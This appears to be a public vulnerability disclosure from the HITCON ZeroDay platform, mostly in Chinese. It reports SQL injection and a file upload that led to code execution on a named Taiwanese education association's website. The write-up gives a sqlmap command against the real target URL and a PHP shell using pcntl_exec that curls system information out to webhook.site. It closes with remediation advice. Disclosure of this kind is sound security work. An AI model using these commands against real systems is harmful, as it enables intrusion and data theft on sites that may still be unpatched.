Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01617
- Vendor: 台中市補習教育暨品保協會
- Title: 台中市補習教育暨品保協會 SQLi 、任意檔案上傳導致RCE
- Introduction: SQLi 、任意檔案上傳導致RCE
處理狀態
目前狀態
公開
Last Update : 2025/03/15
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/12/30 19:44:00 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/12/30 19:45:03 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/12/30 19:46:22 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/12/30 19:50:51 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/12/30 21:51:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:44:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:44:24 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:44:24 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/03/15 03:02:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01617
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:任意檔案上傳 (Arbitrary File Upload)
參考資料
攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload
漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.tcschool.org.tw/download_file.php?t=d&id=138
https://www.tcschool.org.tw/system
https://www.tcschool.org.tw/system
敘述
id參數添加單引號後顯示File does not exist !,懷疑存在注入點,於是使用SQLmap測試,成功注入。
Payload:
python sqlmap.py -u "https://www.tcschool.org.tw/download_file.php?t=d&id=138" -p id --thread 10 --random-agent --batch --dbs
注入後發現管理員帳密明文儲存,於是使用dirsearch掃描找到後台。
https://www.tcschool.org.tw/system
使用帳密登入後台後,嘗試在資料下載上傳shell,成功上傳phpinfo,但RCE的shell卻無法執行,檢視phpinfo發現許多能直接執行系統命令的函數都被禁用,於是開始嘗試常見的Bypass方法,回頭檢視phpinfo,發現禁用函數中沒有pcntl_exec,並且有啟用pcntl插件,於是撰寫以下反彈shell,使用webhook接收。
<?php
// https://webhook.site/須改為自己的webhook url
pcntl_exec("/bin/bash", array('-c', 'result=$(whoami; id; uname -a); curl -X POST -d "data=$result" https://webhook.site/'));
?>
上傳後訪問,成功反彈shell,其他bypass方法沒繼續嘗試,測試完畢後已刪除shell。
修補建議
1. 修補id參數注入點,最好使用參數化查詢。
2. 帳密應加密儲存。
3. 後台應限制登入IP,限制公開訪問。
4. 後台上傳功能應設檢查,如檔案類型白名單。
5. 如果沒有使用需求,禁用pcntl_exec與更多其它可能執行命令的函數。
6. 使用open_basedir限制php只能存取特定目錄。
7. 限制上傳目錄的 PHP 執行權限。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。